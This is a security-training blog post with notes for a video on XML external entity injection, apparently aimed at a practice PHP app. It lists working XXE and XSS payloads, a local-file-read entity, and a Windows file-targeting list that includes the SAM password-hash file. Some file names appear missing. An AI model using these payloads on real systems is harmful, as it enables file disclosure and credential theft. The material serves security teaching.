Video Tutorial: Introduction to XML External Entity Injection

Blog Post created by webpwnized on Sep 11, 2013

Title: Video Tutorial: Introduction to XML External Entity Injection

Author: webpwnized

From: ISSA KY Sept 2013 Workshop (Louisville, KY)

Twitter: @webpwnized


This video introduces XML injection to achieve XML external entity injection (XXE) and XML based cross site scripting (XSS). Please find notes used/mentioned in video posted below the video.




1. What is XML injection

2. What is an "entity"

3. What is entity injection

4. Cross site scripting with entity injection

5. Determining local execution path

6. Determining privileges of "user"

7. Directory traversal

8. file:/// protocol

9. Local File Inclusion with entity injection


Firefox --> Burp-Suite --> Apache2 --> PHP App Server --> PHP Code --> XML Parser --> PHP --> Apache2 --> Burp-Suite --> Firefox




<?xml version="1.0"?><change-log><text>Hello World</text></change-log>

<?xml version="1.0"?><change-log><text>&quot;Hello World&quot;</text></change-log>

<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"> ]><change-log><text>Hello &myEntity;</text></change-log>

<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"><!ENTITY myQuote "&quot;"> ]><change-log><text>&myQuote;Hello &myEntity;&myQuote;</text></change-log>


Information Disclosure





Try to cause various errors in order to coax information from XML parser

Try to load files that dont exist

Put whitespace before the XML

Send malformed XML

Determine operating system type and the path at which interpretation is taking place


Cross site scripting


<?xml version="1.0"?><change-log><text><script>alert("FAIL")</script></text></change- log>

<?xml version="1.0"?><change-log><text>&lt;script&gt;alert(&quot;Hello World&quot;)&lt;/script&gt;</text></change-log>


Local File Inclusion


Try to acquire application configuration files and/or source code files

Try to acquire operating system files


<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY systemEntity SYSTEM "robots.txt"> ]><change-log><text>&systemEntity;</text></change-log>


Remote File Inclusion


<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY systemEntity SYSTEM ""> ]><change-log><text>&systemEntity;</text></change-log>


Windows XP SP3






Credit: Rob "Mubix" Fuller




Blind Files



  A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening.



  This is another file to look for if boot.ini isn’t there or coming back, which is sometimes the case.





  It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in \repair is locked, but can be retired using forensic or Volume Shadow copy methods






Files To Pull (if possible)



  Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size












  %WINDIR%\iis6.log (5, 6 or 7)



  IIS 6 error log



  IIS 7’s logs location


  %WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day)